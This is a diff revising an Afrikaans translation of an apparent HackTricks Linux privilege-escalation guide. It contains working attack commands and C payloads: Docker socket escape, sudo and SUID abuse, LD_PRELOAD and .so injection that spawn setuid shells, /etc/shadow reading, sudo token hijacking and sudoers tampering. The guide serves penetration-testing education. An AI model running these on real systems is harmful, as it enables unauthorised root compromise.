http://localhost/containers/create ``` -Start die pas geskepte container: +Begin die pas geskepte container: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Koppel aan die Container:** Gebruik `socat` om 'n verbinding met die container te vestig, wat die uitvoering van opdragte binne dit moontlik maak. +3. **Attach to the Container:** Gebruik `socat` om 'n verbinding met die container tot stand te bring, wat die uitvoering van opdragte binne dit moontlik maak. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -535,31 +534,31 @@ Connection: Upgrade Upgrade: tcp ``` -Na die opstel van die `socat`-verbinding kan jy opdragte direk in die container uitvoer met root-toegang tot die gasheer se lêerstelsel. +Nadat die `socat`-verbinding opgestel is, kan jy opdragte direk in die container uitvoer met root-vlak toegang tot die gasheer se lêerstelsel. ### Ander -Let wel dat as jy skryfbevoegdhede oor die docker-sok het omdat jy **in die groep `docker`** is, het jy [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). As die [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Let wel dat as jy skryfpermissies oor die docker socket het omdat jy **inside the group `docker`** is, jy [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). As die [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Kyk na **meer maniere om uit docker te breek of dit te misbruik om bevoegdhede te eskaleer** in: +Kyk na **meer maniere om uit docker uit te breek of dit te misbruik om privileges te eskaleer** in: {{#ref}} docker-security/ {{#endref}} -## Containerd (ctr) bevoegdheid-eskalasie +## Containerd (ctr) privilege escalation -As jy vind dat jy die **`ctr`** opdrag kan gebruik, lees die volgende bladsy aangesien **jy dit moontlik kan misbruik om bevoegdhede te eskaleer**: +As jy vind dat jy die **`ctr`** opdrag kan gebruik, lees die volgende bladsy aangesien **you may be able to abuse it to escalate privileges**: {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} -## **RunC** bevoegdheid-eskalasie +## **RunC** privilege escalation -As jy vind dat jy die **`runc`** opdrag kan gebruik, lees die volgende bladsy aangesien **jy dit moontlik kan misbruik om bevoegdhede te eskaleer**: +As jy vind dat jy die **`runc`** opdrag kan gebruik, lees die volgende bladsy aangesien **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -568,15 +567,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus is 'n gesofistikeerde **inter-Process Communication (IPC) system** wat toepassings in staat stel om doeltreffend met mekaar te kommunikeer en data te deel. Ontwerp met die moderne Linux-stelsel in gedagte, bied dit 'n robuuste raamwerk vir verskeie vorme van toepassingskommunikasie. +D-Bus is 'n gesofistikeerde inter-Process Communication (IPC) stelsel wat toepassings toelaat om doeltreffend met mekaar te kommunikeer en data te deel. Ontwerp met die moderne Linux-stelsel in gedagte, bied dit 'n robuuste raamwerk vir verskillende vorme van toepassingskommunikasie. -Die stelsel is veelsydig en ondersteun basiese IPC wat data-uitruiling tussen prosesse verbeter, wat herinner aan **enhanced UNIX domain sockets**. Verder help dit met die uitsaai van gebeurtenisse of seine, wat naatlose integrasie tussen stelselkomponente bevorder. Byvoorbeeld, 'n sein van 'n Bluetooth-daemon oor 'n inkomende oproep kan 'n musiekspeler laat demp, wat die gebruikerservaring verbeter. Boonop ondersteun D-Bus 'n remote object system, wat diensversoeke en metode-aanroepe tussen toepassings vereenvoudig en prosesse stroomlyn wat tradisioneel kompleks was. +Die stelsel is veelsydig en ondersteun basiese IPC wat data-uitruiling tussen prosesse verbeter, soortgelyk aan verbeterde UNIX domain sockets. Verder help dit met die uitsaa van gebeure of seine, wat naatlose integrasie tussen stelselkomponente bevorder. Byvoorbeeld, 'n sein van 'n Bluetooth-daemon oor 'n inkomende oproep kan 'n musiekspeler laat demp om die gebruikerservaring te verbeter. Daarbenewens ondersteun D-Bus 'n remote object-stelsel wat diensversoeke en metode-aanroepe tussen toepassings vereenvoudig, en prosesse bewerkstellig wat tradisioneel kompleks was. -D-Bus werk op 'n **allow/deny model**, en bestuur boodskaptoestemmings (metode-aanroepe, seinuitsendings, ens.) gebaseer op die kumulatiewe effek van ooreenstemmende beleidsreëls. Hierdie beleidsreëls spesifiseer interaksies met die bus en kan potensieel bevoegdheid-eskalasie toelaat deur die misbruik van hierdie toestemmings. +D-Bus werk op 'n allow/deny-model en bestuur boodskappermissies (metode-aanroepe, seinuitsendings, ens.) gebaseer op die kumulatiewe effek van ooreenstemmende beleidreëls. Hierdie beleide spesifiseer interaksies met die bus en kan moontlik tot privilege escalation lei deur die uitbuiting van hierdie toestemmings. -'n Voorbeeld van so 'n beleid in `/etc/dbus-1/system.d/wpa_supplicant.conf` word verskaf, wat toestemmings uiteensit vir die root-gebruiker om eienaarskap te hê oor, boodskappe na te stuur aan, en boodskappe van `fi.w1.wpa_supplicant1` te ontvang. +'n Voorbeeld van so 'n beleid in `/etc/dbus-1/system.d/wpa_supplicant.conf` word verskaf, wat permissies vir die root-gebruiker beskryf om te besit, na te stuur en boodskappe van `fi.w1.wpa_supplicant1` te ontvang. -Beleide sonder 'n gespesifiseerde gebruiker of groep geld universeel, terwyl "default" konteksbeleide geld vir almal wat nie deur ander spesifieke beleide gedek word nie. +Beleide sonder 'n gespesifiseerde gebruiker of groep geld universeel, terwyl "default" konteksbeleide van toepassing is op almal wat nie deur ander spesifieke beleide gedek word nie. ```xml @@ -585,7 +584,7 @@ Beleide sonder 'n gespesifiseerde gebruiker of groep geld universeel, terwyl "de ``` -**Leer hier hoe om 'n D-Bus communication te enumerate en te exploit:** +**Leer hoe om 'n D-Bus communication te enumerate en te exploit hier:** {{#ref}} @@ -621,22 +620,22 @@ lsof -i ``` ### Oop poorte -Kontroleer altyd netwerkdienste wat op die masjien loop en waarmee jy voor toegang nie kon kommunikeer nie: +Kontroleer altyd netwerkdienste wat op die masjien loop en waarmee jy nie kon kommunikeer voordat jy toegang verkry het nie: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Kontroleer of jy sniff traffic kan uitvoer. As dit moontlik is, kan jy dalk 'n paar credentials onderskep. +Kontroleer of jy verkeer kan sniff. As jy dit kan doen, kan jy dalk credentials bekom. ``` timeout 1 tcpdump ``` -## Users +## Gebruikers -### Generic Enumeration +### Generiese Enumerasie -Kontroleer **who** jy is, watter **privileges** jy het, watter **users** in die stelsels is, watter van hulle kan **login** en watter het **root privileges:** +Kontroleer **who** jy is, watter **privileges** jy het, watter **users** in die stelsels is, watter kan **login** en watter het **root privileges**: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -658,14 +657,14 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### Big UID +### Groot UID -Sommige Linux-weergawes is geraak deur 'n fout wat gebruikers met **UID > INT_MAX** toelaat om voorregte op te skaal. Meer inligting: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**Exploit it** using: **`systemd-run -t /bin/bash`** +Sommige Linux-weergawes is geraak deur 'n fout wat gebruikers met **UID > INT_MAX** toelaat om hul bevoegdhede te eskaleer. Meer inligting: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**Benut dit** met: **`systemd-run -t /bin/bash`** -### Groeppe +### Groepe -Kontroleer of jy 'n **lid van 'n groep** is wat jou root-voorregte kan gee: +Kontroleer of jy 'n **lid van 'n groep** is wat jou root-bevoegdhede kan gee: {{#ref}} @@ -674,7 +673,7 @@ interesting-groups-linux-pe/ ### Klembord -Kyk of iets interessant in die klembord is (indien moontlik) +Kontroleer of iets interessant in die klembord is (indien moontlik) ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -691,22 +690,22 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### Bekende wagwoorde -As jy **enige wagwoord van die omgewing ken**, probeer **as elke gebruiker** met daardie wagwoord aanmeld. +As jy **enige wagwoord** van die omgewing **ken**, probeer om as elke gebruiker daarmee aan te meld. ### Su Brute -Indien jy nie omgee om baie geraas te veroorsaak nie en die `su` en `timeout` binaries op die rekenaar teenwoordig is, kan jy probeer om gebruikers te brute-force met [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +As jy nie omgee om baie geraas te maak nie en die `su` en `timeout` binaries op die rekenaar teenwoordig is, kan jy probeer om gebruikers te brute-force met [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ [**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) met die `-a` parameter probeer ook om gebruikers te brute-force. ## Skryfbare PATH-misbruik ### $PATH -Indien jy agterkom dat jy **in 'n gids in die $PATH kan skryf**, kan jy dalk bevoegdhede eskaleer deur **'n backdoor in die skryfbare gids te skep** met die naam van 'n opdrag wat deur 'n ander gebruiker (ideaalweg root) uitgevoer gaan word en wat **nie vanaf 'n gids voor jou skryfbare gids in $PATH gelaai word nie**. +As jy vind dat jy kan **skryf binne 'n gids in die $PATH** kan jy moontlik bevoegdhede eskaleer deur **'n backdoor binne die skryfbare gids te skep** met die naam van 'n kommando wat deur 'n ander gebruiker (ideaal root) uitgevoer gaan word en wat **nie vanaf 'n gids gelaai word wat voor jou skryfbare gids in $PATH geleë is nie**. ### SUDO and SUID -Jy mag toegelaat wees om sekere opdragte met sudo uit te voer of hulle kan die suid-bit hê. Kontroleer dit met: +Jy mag toegelaat word om sekere opdragte met sudo uit te voer of hulle kan die suid bit hê. Kontroleer dit met: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries @@ -722,31 +721,31 @@ less>! ``` ### NOPASSWD -Sudo-konfigurasie kan 'n gebruiker toelaat om 'n kommando met 'n ander gebruiker se bevoegdhede uit te voer sonder om die wagwoord te ken. +Sudo-konfigurasie kan 'n gebruiker toelaat om 'n opdrag met 'n ander gebruiker se voorregte uit te voer sonder om die wagwoord te ken. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -In hierdie voorbeeld kan die gebruiker `demo` `vim` as `root` uitvoer, dit is nou triviaal om 'n shell te kry deur 'n ssh key in die root directory by te voeg of deur `sh` aan te roep. +In hierdie voorbeeld kan die gebruiker `demo` `vim` as `root` uitvoer; dit is nou triviaal om 'n shell te kry deur 'n ssh key in die root directory by te voeg of deur `sh` aan te roep. ``` sudo vim -c '!sh' ``` ### SETENV -Hierdie direktief laat die gebruiker toe om **'n omgewingsveranderlike te stel** terwyl iets uitgevoer word: +Hierdie direktief laat die gebruiker toe om **set an environment variable** terwyl iets uitgevoer word: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Hierdie voorbeeld, **gebaseer op HTB machine Admirer**, was **kwesbaar** vir **PYTHONPATH hijacking** om 'n arbitrêre python library te laai terwyl die script as root uitgevoer is: +Hierdie voorbeeld, **gebaseer op HTB machine Admirer**, was **kwetsbaar** vir **PYTHONPATH hijacking** om 'n arbitrêre python library te laai terwyl die script as root uitgevoer is: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### Sudo uitvoering wat paaie omseil +### Sudo: paaie om uitvoering te omseil -**Spring** om ander lêers te lees of gebruik **symlinks**. Byvoorbeeld in sudoers file: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Spring** om ander lêers te lees of gebruik **symlinks**. Byvoorbeeld in sudoers-lêer: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -756,7 +755,7 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -Indien **wildcard** gebruik word (\*), is dit nog makliker: +As 'n **wildcard** gebruik word (\*), is dit selfs makliker: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files @@ -765,37 +764,37 @@ sudo less /var/log/something /etc/shadow #Red 2 files ### Sudo command/SUID binary without command path -As die **sudo permission** aan 'n enkele command **sonder om die pad te spesifiseer**: _hacker10 ALL= (root) less_ kan jy dit uitbuit deur die PATH-variabele te verander +Indien die **sudo permission** aan 'n enkele opdrag gegee word **without specifying the path**: _hacker10 ALL= (root) less_ kan jy dit exploit deur die PATH variable te verander ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Hierdie tegniek kan ook gebruik word as 'n **suid** binary **'n ander command uitvoer sonder om die pad daarvoor te spesifiseer (kontroleer altyd met** _**strings**_ **die inhoud van 'n vreemde SUID binary)**. +Hierdie tegniek kan ook gebruik word as 'n **suid** binary **'n ander opdrag uitvoer sonder om die pad daartoe te spesifiseer (kontroleer altyd met** _**strings**_ **die inhoud van 'n vreemde SUID binary)**). [Payload examples to execute.](payloads-to-execute.md) -### SUID binary met pad na die kommando +### SUID binary met die pad van die opdrag -If the **suid** binary **executes another command specifying the path**, then, you can try to **export a function** named as the command that the suid file is calling. +As die **suid** binary **'n ander opdrag uitvoer en die pad daarvoor spesifiseer**, kan jy probeer om 'n **export a function** te skep met dieselfde naam as die opdrag wat die suid-lêer aanroep. -Byvoorbeeld, as 'n **suid** binary calls _**/usr/sbin/service apache2 start**_ jy moet probeer om die funksie te skep en dit te **export**: +Byvoorbeeld, as 'n suid binary calls _**/usr/sbin/service apache2 start**_ moet jy probeer om die funksie te skep en dit te exporteer: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Wanneer jy dan die suid-binary aanroep, sal hierdie funksie uitgevoer word +Wanneer jy dan die suid binary aanroep, sal hierdie funksie uitgevoer word ### LD_PRELOAD & **LD_LIBRARY_PATH** -Die **LD_PRELOAD** omgewingsveranderlike word gebruik om een of meer gedeelde biblioteke (.so files) aan te dui wat deur die loader voor alle ander gelaai word, insluitend die standaard C-biblioteek (`libc.so`). Hierdie proses staan bekend as die voorlaai van 'n biblioteek. +Die **LD_PRELOAD** omgewingsveranderlike word gebruik om een of meer gedeelde biblioteke (.so-lêers) te spesifiseer wat deur die loader voor alle ander gelaai word, insluitend die standaard C-biblioteek (`libc.so`). Hierdie proses staan bekend as die vooraflaai van 'n biblioteek. -Om stelsel-sekuriteit te handhaaf en te verhoed dat hierdie funksie uitgebuit word, veral met **suid/sgid** uitvoerbare lêers, handhaaf die stelsel egter sekere voorwaardes: +Om stelselsekuriteit te handhaaf en te voorkom dat hierdie funksie uitgebuit word, veral met **suid/sgid** uitvoerbare lêers, handhaaf die stelsel sekere voorwaardes: -- Die loader ignoreer **LD_PRELOAD** vir uitvoerbare lêers waar die werklike gebruiker-ID (_ruid_) nie ooreenstem met die effektiewe gebruiker-ID (_euid_) nie. -- Vir uitvoerbare lêers met suid/sgid word slegs biblioteke in standaardpaaie wat ook suid/sgid is, voorafgelaai. +- Die loader ignoreer **LD_PRELOAD** vir uitvoerbare lêers waar die werklike gebruikers-ID (_ruid_) nie ooreenstem met die effektiewe gebruikers-ID (_euid_) nie. +- Vir uitvoerbare lêers met suid/sgid word slegs biblioteke in standaardpaaie wat ook suid/sgid is voorafgelaai. -Privilegie-eskalasie kan plaasvind as jy die vermoë het om opdragte met `sudo` uit te voer en die uitset van `sudo -l` die stelling **env_keep+=LD_PRELOAD** insluit. Hierdie konfigurasie laat toe dat die **LD_PRELOAD** omgewingsveranderlike behou en herken word selfs wanneer opdragte met `sudo` uitgevoer word, wat moontlik kan lei tot die uitvoering van arbitrêre kode met verhoogde voorregte. +Privilege escalation kan voorkom as jy die vermoë het om opdragte met `sudo` uit te voer en die uitset van `sudo -l` die stelling **env_keep+=LD_PRELOAD** insluit. Hierdie konfigurasie laat die **LD_PRELOAD** omgewingsveranderlike voortbestaan en herken word selfs wanneer opdragte met `sudo` uitgevoer word, wat moontlik kan lei tot die uitvoering van arbitraire kode met verhoogde regte. ``` Defaults env_keep += LD_PRELOAD ``` @@ -812,12 +811,12 @@ setuid(0); system("/bin/bash"); } ``` -Dan **compile dit** met behulp van: +Dan **kompileer dit** met: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -Laastens, **escalate privileges** uitvoer +Uiteindelik, **escalate privileges** deur dit uit te voer ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` @@ -844,13 +843,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Wanneer jy op 'n binary met **SUID** permissies stuit wat ongewoon voorkom, is dit 'n goeie praktyk om te verifieer of dit **.so**-lêers behoorlik laai. Dit kan nagegaan word deur die volgende opdrag uit te voer: +Wanneer jy 'n binary met **SUID** permissies teëkom wat ongewone voorkom, is dit goeie praktyk om te verifieer of dit **.so**-lêers behoorlik laai. Dit kan nagegaan word deur die volgende opdrag uit te voer: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Byvoorbeeld, die voorkoms van 'n fout soos _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ dui op 'n potensiële uitbuitingsmoontlikheid. +Byvoorbeeld, die voorkoms van 'n fout soos _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ dui op 'n potensiële uitbuitingsgeleentheid. -Om dit uit te buiten, sal 'n mens voortgaan deur 'n C-lêer te skep, byvoorbeeld _"/path/to/.config/libcalc.c"_, wat die volgende kode bevat: +Om dit uit te buit, sal mens voortgaan deur 'n C-lêer te skep, byvoorbeeld _"/path/to/.config/libcalc.c"_, wat die volgende kode bevat: ```c #include #include @@ -861,13 +860,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Hierdie code, sodra dit gekompileer en uitgevoer is, poog om voorregte te verhoog deur lêertoestemmings te manipuleer en 'n shell met verhoogde voorregte uit te voer. +Hierdie kode, sodra dit saamgestel en uitgevoer is, poog om voorregte te verhoog deur lêertoestemmings te manipuleer en 'n shell met verhoogde voorregte uit te voer. -Kompileer die bostaande C-lêer in 'n shared object (.so)-lêer met: +Komileer die bogenoemde C-lêer na 'n shared object (.so)-lêer met: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Laastens, deur die aangetaste SUID binary uit te voer, behoort die exploit te aktiveer, wat moontlike system compromise toelaat. +Uiteindelik behoort die uitvoering van die aangetaste SUID binary die exploit te aktiveer, wat 'n potensiële kompromittering van die stelsel moontlik maak. ## Shared Object Hijacking ```bash @@ -879,7 +878,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Nou dat ons 'n SUID binary gevind het wat 'n library laai uit 'n gids waarin ons kan skryf, kom ons skep die library in daardie gids met die nodige naam: +Aangesien ons nou 'n SUID binary gevind het wat 'n library uit 'n folder laai waarin ons kan skryf, kom ons skep die library in daardie folder met die nodige naam: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -896,13 +895,13 @@ As jy 'n fout kry soos ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -dit beteken dat die biblioteek wat jy gegenereer het 'n funksie met die naam `a_function_name` moet hê. +Dit beteken dat die biblioteek wat jy gegenereer het 'n funksie genaamd `a_function_name` moet hê. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) is 'n gekurde lys van Unix binaries wat deur 'n aanvaller misbruik kan word om plaaslike sekuriteitsbeperkings te omseil. [**GTFOArgs**](https://gtfoargs.github.io/) is dieselfde maar vir gevalle waar jy **slegs argumente kan injekteer** in 'n opdrag. +[**GTFOBins**](https://gtfobins.github.io) is 'n saamgestelde lys van Unix-binaries wat deur 'n aanvaller misbruik kan word om plaaslike sekuriteitsbeperkings te omseil. [**GTFOArgs**](https://gtfoargs.github.io/) is dieselfde maar vir gevalle waar jy **slegs argumente kan injekteer** in 'n opdrag. -Die projek versamel geldige funksies van Unix binaries wat misbruik kan word om uit beperkte shells te breek, privileges te eskaleer of te behou, lêers oor te dra, bind- en reverse-shells te spawn, en ander post-exploitation-take te vergemaklik. +Die projek versamel geldige funksies van Unix-binaries wat misbruik kan word om uit beperkte shells te breek, privilegies te eskaleer of in stand te hou, lêers oor te dra, bind- en reverse-shells te spawn, en ander post-exploitation tasks te fasiliteer. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -921,50 +920,50 @@ https://gtfoargs.github.io/ ### FallOfSudo -As jy toegang tot `sudo -l` het, kan jy die tool [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) gebruik om te kontroleer of dit uitvind hoe om enige sudo-reël te misbruik. +As jy toegang tot `sudo -l` het kan jy die tool [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) gebruik om te kontroleer of dit 'n manier vind om enige sudo-reël te misbruik. ### Reusing Sudo Tokens -In gevalle waar jy **sudo access** het maar nie die wagwoord nie, kan jy privileges eskaleer deur te **wag vir 'n sudo-opdrag-uitvoering en dan die sessietoken te kaap**. +In gevalle waar jy **sudo access** het maar nie die wagwoord nie, kan jy privilegies eskaleer deur **te wag vir 'n sudo-opdraguitvoering en dan die sessie-token te kaap**. -Requirements to escalate privileges: +Vereistes om privilegies te eskaleer: - Jy het reeds 'n shell as gebruiker "_sampleuser_" -- "_sampleuser_" het **`sudo` gebruik** om iets uit te voer in die **laaste 15mins** (standaard is dit die duur van die sudo-token wat ons toelaat om `sudo` te gebruik sonder om 'n wagwoord in te voer) +- "_sampleuser_" het **`sudo` gebruik** om iets uit te voer in die **laaste 15mins** (by verstek is dit die duur van die sudo token wat ons toelaat om `sudo` sonder om enige wagwoord in te voer) - `cat /proc/sys/kernel/yama/ptrace_scope` is 0 -- `gdb` is toeganklik (jy sal dit kan oplaai) +- `gdb` is toeganklik (jy kan dit oplaai) -(You can temporarily enable `ptrace_scope` with `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` or permanently modifying `/etc/sysctl.d/10-ptrace.conf` and setting `kernel.yama.ptrace_scope = 0`) +(Jy kan tydelik `ptrace_scope` aktiveer met `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` of dit permanent maak deur `/etc/sysctl.d/10-ptrace.conf` te wysig en `kernel.yama.ptrace_scope = 0` te stel) -If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +As al hierdie vereistes voldaan is, **kan jy privilegies eskaleer deur:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`): +- Die **first exploit** (`exploit.sh`) sal die binêr `activate_sudo_token` in _/tmp_ skep. Jy kan dit gebruik om die **sudo token in jou sessie te aktiveer** (jy kry nie outomaties 'n root shell nie, doen `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- Die **tweede exploit** (`exploit_v2.sh`) sal 'n sh shell in _/tmp_ skep **deur root besit met setuid** +- Die **tweede exploit** (`exploit_v2.sh`) sal 'n sh shell in _/tmp_ skep wat deur root besit word en setuid het. ```bash bash exploit_v2.sh /tmp/sh -p ``` -- Die **derde exploit** (`exploit_v3.sh`) sal **'n sudoers-lêer skep** wat **sudo tokens permanent maak en alle gebruikers toelaat om sudo te gebruik** +- Die **derde exploit** (`exploit_v3.sh`) sal **'n sudoers file skep** wat **sudo tokens ewig maak en alle gebruikers toelaat om sudo te gebruik** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -As jy **write permissions** in die vouer of op enige van die geskepte lêers binne die vouer het, kan jy die binary [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) gebruik om **'n sudo token vir 'n user en PID te skep**.\ -Byvoorbeeld, as jy die lêer _/var/run/sudo/ts/sampleuser_ kan overwrite en jy het 'n shell as daardie user met PID 1234, kan jy **obtain sudo privileges** sonder om die password te ken deur dit te doen: +Indien jy **write permissions** in die gids of op enige van die geskepte lêers binne daardie gids het, kan jy die binary [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) gebruik om **create a sudo token for a user and PID**.\ +Byvoorbeeld, as jy die lêer _/var/run/sudo/ts/sampleuser_ kan oorskryf en jy het 'n shell as daardie gebruiker met PID 1234, kan jy **obtain sudo privileges** sonder om die wagwoord te hoef te ken deur: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -Die lêer `/etc/sudoers` en die lêers binne `/etc/sudoers.d` stel in wie `sudo` kan gebruik en hoe. Hierdie lêers **kan standaard slegs deur gebruiker root en groep root gelees word**.\ -**As** jy hierdie lêer kan **lees** kan jy moontlik **interessante inligting bekom**, en as jy enige lêer kan **skryf** sal jy in staat wees om **escalate privileges**. +Die lêer `/etc/sudoers` en die lêers binne `/etc/sudoers.d` konfigureer wie `sudo` kan gebruik en hoe. Hierdie lêers **kan standaard slegs deur gebruiker root en groep root gelees word**.\ +**As** jy hierdie lêer kan **lees** kan jy moontlik **interessante inligting bekom**, en as jy enige lêer kan **skryf** sal jy in staat wees om **verhoogde voorregte te verkry**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ @@ -983,17 +982,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Daar is 'n paar alternatiewe vir die `sudo` binary soos `doas` vir OpenBSD; onthou om sy konfigurasie by `/etc/doas.conf` na te gaan. +Daar is 'n paar alternatiewe vir die `sudo`-binêre, soos `doas` vir OpenBSD; onthou om die konfigurasie by `/etc/doas.conf` na te gaan. ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -As jy weet dat 'n **gebruiker gewoonlik met 'n masjien verbind en `sudo` gebruik** om bevoegdhede te verhoog en jy het 'n shell binne daardie gebruikerskonteks, kan jy **'n nuwe sudo executable skep** wat jou kode as root sal uitvoer en daarna die gebruiker se command. Verander dan die **$PATH** van die gebruikerskonteks (byvoorbeeld deur die nuwe pad in .bash_profile by te voeg) sodat wanneer die gebruiker sudo uitvoer, jou sudo executable uitgevoer word. +As jy weet dat 'n **gebruiker gewoonlik op 'n masjien aanmeld en `sudo` gebruik** om privilegies te verhoog en jy het 'n shell in daardie gebruiker-konteks, kan jy **'n nuwe sudo-uitvoerbare** skep wat jou kode as root uitvoer en daarna die gebruiker se opdrag. Verander dan die **$PATH** van die gebruiker-konteks (byvoorbeeld deur die nuwe pad in .bash_profile by te voeg) sodat wanneer die gebruiker sudo uitvoer, jou sudo-uitvoerbare uitgevoer word. -Let wel dat as die gebruiker 'n ander shell gebruik (nie bash nie) sal jy ander lêers moet wysig om die nuwe pad by te voeg. Byvoorbeeld [sudo-piggyback](https://github.com/APTy/sudo-piggyback) wysig `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Jy kan nog 'n voorbeeld vind in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Let wel dat as die gebruiker 'n ander shell gebruik (nie bash nie) jy ander lêers moet wysig om die nuwe pad by te voeg. Byvoorbeeld [sudo-piggyback](https://github.com/APTy/sudo-piggyback) wysig `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Jy kan nog 'n voorbeeld vind in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) -Of deur iets soos die volgende uit te voer: +Of deur iets soos die volgende te voer: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -Deur die lib na `/var/tmp/flag15/` te kopieer, sal dit deur die program op hierdie plek gebruik word soos gespesifiseer in die `RPATH`-variabele. +Deur die lib na `/var/tmp/flag15/` te kopieer, sal dit deur die program op hierdie plek gebruik word soos in die `RPATH` veranderlike gespesifiseer. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1059,38 +1058,38 @@ execve(file,argv,0); ``` ## Vermoëns -Linux-vermoëns bied 'n **substel van die beskikbare root-voorregte aan 'n proses**. Dit verdeel effektief root **voorregte in kleiner en onderskeibare eenhede**. Elkeen van hierdie eenhede kan dan onafhanklik aan prosesse toegeken word. Op hierdie manier word die volledige stel voorregte verminder, wat die risiko's van misbruik verlaag.\ -Lees die volgende bladsy om **meer te leer oor vermoëns en hoe om dit te misbruik**: +Linux capabilities provide a **subset of the available root privileges to a process**. This effectively breaks up root **privileges into smaller and distinctive units**. Each of these units can then be independently granted to processes. This way the full set of privileges is reduced, decreasing the risks of exploitation.\ +Read the following page to **learn more about capabilities and how to abuse them**: {{#ref}} linux-capabilities.md {{#endref}} -## Gidspermissies +## Gids toestemmings -In 'n gids impliseer die **bit vir "execute"** dat die betrokke gebruiker kan "**cd**" na die vouer.\ -Die **"read"**-bit impliseer dat die gebruiker die **lêers** kan **lys**, en die **"write"**-bit impliseer dat die gebruiker **lêers** kan **verwyder** en nuwe **lêers** kan **skep**. +In a 